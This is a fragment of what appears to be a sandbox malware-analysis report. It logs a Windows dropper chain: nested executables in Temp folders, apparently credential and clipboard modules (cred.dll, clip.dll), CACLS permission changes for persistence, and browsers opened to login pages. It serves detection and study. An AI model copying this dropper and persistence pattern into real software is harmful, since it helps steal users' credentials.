Value: "") "2Pn4733.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPDOMAIN"; Value: "") "2Pn4733.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "2Pn4733.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "2Pn4733.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "2Pn4733.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "2Pn4733.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "ENABLEDHCP"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTRATIONENABLED"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTERADAPTERNAME"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPDOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "")31:T940,"4xv765hr.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\CLIENTS\STARTMENUINTERNET"; Key: ""; Value: "") "4xv765hr.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET"; Key: ""; Value: "") "4xv765hr.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB"; Key: ""; Value: "") "4xv765hr.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB"; Key: ""; Value: "") "4xv765hr.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "4xv765hr.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "4xv765hr.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE"; Key: ""; Value: "") "4xv765hr.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE"; Key: ""; Value: "") "4xv765hr.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "4xv765hr.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "2Jg195qq.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\CLIENTS\STARTMENUINTERNET"; Key: ""; Value: "") "2Jg195qq.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET"; Key: ""; Value: "") "2Jg195qq.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB"; Key: ""; Value: "") "2Jg195qq.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB"; Key: ""; Value: "") "2Jg195qq.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "2Jg195qq.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "2Jg195qq.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE"; Key: ""; Value: "") "2Jg195qq.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE"; Key: ""; Value: "")32:Tec2,"AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" at 00000000-00001000-0000010C-1334170 "2Pn4733.exe" queries volume information of "C:\" at 00000000-00001344-0000010C-142321 "4xv765hr.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\4xv765hr.exe" at 00000000-00002132-0000010C-842919 "4xv765hr.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll" at 00000000-00002132-0000010C-2329033 "4xv765hr.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll" at 00000000-00002132-0000010C-2338342 "4xv765hr.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll" at 00000000-00002132-0000010C-3543389 "4xv765hr.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll" at 00000000-00002132-0000010C-3550261 "4xv765hr.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00002132-0000010C-4058568 "explothe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\fefffe8cea\explothe.exe" at 00000000-00002124-0000010C-3707983 "explothe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\cred.dll" at 00000000-00002124-0000010C-6098682 "explothe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\cred.dll" at 00000000-00002124-0000010C-6101637 "explothe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000030041\2.ps1" at 00000000-00002124-0000010C-6553764 "explothe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\clip.dll" at 00000000-00002124-0000010C-7132347 "explothe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\clip.dll" at 00000000-00002124-0000010C-7135526 "explothe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000031051\sus.exe" at 00000000-00002124-0000010C-9366221 "explothe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000031051\sus.exe" at 00000000-00002124-0000010C-9370396 "explothe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000032051\foto2552.exe" at 00000000-00002124-0000010C-12635550 "explothe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000032051\foto2552.exe" at 00000000-00002124-0000010C-12639291 "explothe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000033051\nalo.exe" at 00000000-00002124-0000010C-15712386 "explothe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000033051\nalo.exe" at 00000000-00002124-0000010C-15719603 "explothe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000034051\angel.exe" at 00000000-00002124-0000010C-20029450 "explothe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000034051\angel.exe" at 00000000-00002124-0000010C-20036502 "cmd.exe" queries volume information of "C:\" at 00000000-00002592-0000010C-1209616 "angel.exe" queries volume information of "C:\" at 00000000-00003948-0000010C-33782060 "2Jg195qq.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\2Jg195qq.exe" at 00000000-00003464-0000010C-368264033:T621,"AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "2Pn4733.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "4xv765hr.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "5jk2WA4.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "explothe.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "schtasks.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "cacls.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "6kb5JC6.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "angel.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "2Jg195qq.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "3XP8tA46.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "4LW879sL.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME")34:T6ef,"4xv765hr.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "4xv765hr.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\7-ZIP") "4xv765hr.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\7-ZIP"; Key: "DISPLAYNAME") "4xv765hr.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\7-ZIP"; Key: "DISPLAYVERSION") "4xv765hr.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK") "4xv765hr.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "DISPLAYNAME") "4xv765hr.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "DISPLAYVERSION") "4xv765hr.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE AIR") "4xv765hr.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE AIR"; Key: "DISPLAYNAME") "4xv765hr.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE AIR"; Key: "DISPLAYVERSION") "4xv765hr.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER ACTIVEX") "4xv765hr.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER ACTIVEX"; Key: "DISPLAYNAME") "4xv765hr.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER ACTIVEX"; Key: "DISPLAYVERSION") "4xv765hr.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE SHOCKWAVE PLAYER") "4xv765hr.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE SHOCKWAVE PLAYER"; Key: "DISPLAYNAME") "4xv765hr.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE SHOCKWAVE PLAYER"; Key: "DISPLAYVERSION")35:T4e3,"powershell.exe" trying to touch file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms" "powershell.exe" trying to touch file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\J5RCLMPNA3DT55P0E8NX.TEMP" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\J5RCLMPNA3DT55P0E8NX.temp" "powershell.exe" trying to touch file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF107c31.TMP" "iexplore.exe" trying to touch file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations" "iexplore.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\28c8b86deab549a1.customDestinations-ms"36:T87a,"2Pn4733.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00001344) "2Pn4733.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Local (UID: 00000000-00001344) "2Pn4733.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files (UID: 00000000-00001344) "2Pn4733.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00001344) "2Pn4733.exe" called "CreateDirectoryW" with parameter %APPDATA%\Microsoft\Windows\Cookies (UID: 00000000-00001344) "2Pn4733.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\History (UID: 00000000-00001344) "4xv765hr.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00002132) "4xv765hr.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00002132) "4xv765hr.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\SystemCache (UID: 00000000-00002132) "5jk2WA4.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00002380) "explothe.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00002124) "explothe.exe" called "CreateDirectoryA" with parameter %APPDATA%\006700e5a2ab05 (UID: 00000000-00002124) "explothe.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00002124) "explothe.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Local (UID: 00000000-00002124) "explothe.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files (UID: 00000000-00002124) "explothe.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00002124) "explothe.exe" called "CreateDirectoryW" with parameter %APPDATA%\Microsoft\Windows\Cookies (UID: 00000000-00002124) "explothe.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\History (UID: 00000000-00002124) "explothe.exe" called "CreateDirectoryA" with parameter %TEMP%\1000030041\ (UID: 00000000-00002124)37:Tc7b,"6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" called "CreateProcessA" with parameter "%TEMP%\IXP000.TMP\iu7rW97.exe" - (UID: 00000000-00002748) "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" called "CreateProcessA" with parameter "%TEMP%\IXP000.TMP\6kb5JC6.exe" - (UID: 00000000-00002748) "iu7rW97.exe" called "CreateProcessA" with parameter "%TEMP%\IXP001.TMP\WW5pa33.exe" - (UID: 00000000-00000400) "iu7rW97.exe" called "CreateProcessA" with parameter "%TEMP%\IXP001.TMP\5jk2WA4.exe" - (UID: 00000000-00000400) "WW5pa33.exe" called "CreateProcessA" with parameter "%TEMP%\IXP002.TMP\ob8Cl01.exe" - (UID: 00000000-00003592) "WW5pa33.exe" called "CreateProcessA" with parameter "%TEMP%\IXP002.TMP\4xv765hr.exe" - (UID: 00000000-00003592) "ob8Cl01.exe" called "CreateProcessA" with parameter "%TEMP%\IXP003.TMP\BG0Vi31.exe" - (UID: 00000000-00000484) "ob8Cl01.exe" called "CreateProcessA" with parameter "%TEMP%\IXP003.TMP\3vp37IO.exe" - (UID: 00000000-00000484) "BG0Vi31.exe" called "CreateProcessA" with parameter "%TEMP%\IXP004.TMP\1AG03bS7.exe" - (UID: 00000000-00003456) "BG0Vi31.exe" called "CreateProcessA" with parameter "%TEMP%\IXP004.TMP\2Pn4733.exe" - (UID: 00000000-00003456) "cmd.exe" called "CreateProcessW" with parameter "CACLS "explothe.exe" /P "geZfVrO:N"" - (UID: 00000000-00002168) "cmd.exe" called "CreateProcessW" with parameter "CACLS "explothe.exe" /P "geZfVrO:R" /E" - (UID: 00000000-00002168) "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /S /D /c" echo Y"" - (UID: 00000000-00002168) "cmd.exe" called "CreateProcessW" with parameter "CACLS "..\fefffe8cea" /P "geZfVrO:N"" - (UID: 00000000-00002168) "powershell.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\Internet Explorer\iexplore.exe" https://accounts.google.com/" - (UID: 00000000-00002416) "cmd.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\Internet Explorer\iexplore.exe" https://www.facebook.com/login" - (UID: 00000000-00002788) "cmd.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\Internet Explorer\iexplore.exe" https://www.youtube.com/" - (UID: 00000000-00002788) "foto2552.exe" called "CreateProcessA" with parameter "%TEMP%\IXP001.TMP\6pM65Va.exe" - (UID: 00000000-00002884) "gk7GM2iR.exe" called "CreateProcessA" with parameter "%TEMP%\IXP002.TMP\tL3sv5VH.exe" - (UID: 00000000-00002068) "gk7GM2iR.exe" called "CreateProcessA" with parameter "%TEMP%\IXP002.TMP\5Vl58Ec.exe" - (UID: 00000000-00002068) "tL3sv5VH.exe" called "CreateProcessA" with parameter "%TEMP%\IXP000.TMP\4LW879sL.exe" - (UID: 00000000-00001448) "RK6Ko1mo.exe" called "CreateProcessA" with parameter "%TEMP%\IXP003.TMP\3XP8tA46.exe" - (UID: 00000000-00001328) "AN3Bj1Ru.exe" called "CreateProcessA" with parameter "%TEMP%\IXP004.TMP\2Jg195qq.exe" - (UID: 00000000-00003836) "cmd.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\Internet Explorer\iexplore.exe" https://www.facebook.com/login" - (UID: 00000000-00001728) "cmd.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\Internet Explorer\iexplore.exe" https://accounts.google.com/" - (UID: 00000000-00001728)38:T619,Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API "ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; File: "00001000.000003E8.1188080.00050000.wprm") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00000400.00000000.66605.001F0000.00000004.mdmp, 00000000-00000400.00000000.66605.00252000.00000004.mdmp, 00000000-00000400.00000000.66605.00A00000.00000004.mdmp, 00000000-00000400.00000001.68530.001F0000.00000004.mdmp, 00000000-00000400.00000001.68530.00252000.00000004.mdmp, 00000000-00000400.00000001.68530.00690000.00000004.mdmp, 00000000-00000400.00000002.68749.001F0000.00000004.mdmp, 00000000-00000400.00000002.68749.00252000.00000004.mdmp, 00000000-00000400.00000002.68749.00690000.00000004.mdmp, 00000000-00000400.00000002.68749.00A00000.00000004.mdmp") Found reference to API "ElevateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00000400.00000000.66605.001F0000.00000004.mdmp, 00000000-00000400.00000001.68530.001F0000.00000004.mdmp, 00000000-00000400.00000002.68749.001F0000.00000004.mdmp") Found reference to API "267,3348,3136,,CreateProcessA,kernel32.dll,"252:02:48.442",RX=0,PX=0" (Indicator: "CreateProcess"; Source: "00000000-00000400.00000000.66605.001F0000.00000004.mdmp") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp")39:T45f,LoadLibraryA@KERNEL32.DLL at 00000000-00002748-58169-42-0081202A LoadLibraryA@KERNEL32.DLL at 00000000-00002748-58169-33-00812F1D LoadLibraryExA@KERNEL32.DLL at 00000000-00002748-58169-41-00816495 LoadLibraryA@KERNEL32.DLL at 00000000-00002748-58169-73-008117EE LoadLibraryExA@KERNEL32.DLL at 00000000-00003592-101-41-001D6495 LoadLibraryA@KERNEL32.DLL at 00000000-00003592-101-73-001D17EE LoadLibraryA@KERNEL32.DLL at 00000000-00003592-101-33-001D2F1D LoadLibraryA@KERNEL32.DLL at 00000000-00003592-101-42-001D202A LoadLibraryA@KERNEL32.DLL at 00000000-00000484-3096-42-0015202A LoadLibraryA@KERNEL32.DLL at 00000000-00000484-3096-73-001517EE LoadLibraryA@KERNEL32.DLL at 00000000-00000484-3096-33-00152F1D LoadLibraryExA@KERNEL32.DLL at 00000000-00000484-3096-41-00156495 LoadLibraryA@KERNEL32.DLL at 00000000-00003836-27367-73-012E17EE LoadLibraryA@KERNEL32.DLL at 00000000-00003836-27367-33-012E2F1D LoadLibraryExA@KERNEL32.DLL at 00000000-00003836-27367-41-012E6495 LoadLibraryA@KERNEL32.DLL at 00000000-00003836-27367-42-012E202A LoadLibraryExW@KERNEL32.DLL at 00000000-00002396-63465-166-00EC42733a:Ta965,Found reference to API (Indicator: "CheckTokenMembership"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "HeapSetInformation"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "DecryptFileA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "SHBrowseForFolder"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "SHGetPathFromIDList"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GetTokenInformation"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "RegDeleteValueA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "RegOpenKeyExA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "RegQueryInfoKeyA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "FreeSid"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "OpenProcessToken"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "RegSetValueExA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "RegCreateKeyExA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "LookupPrivilegeValueA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "AllocateAndInitializeSid"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "RegQueryValueExA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "EqualSid"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "RegCloseKey"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "AdjustTokenPrivileges"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GetShortPathNameA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GetModuleFileNameA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "FindFirstFileA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GetCurrentProcess"; File: 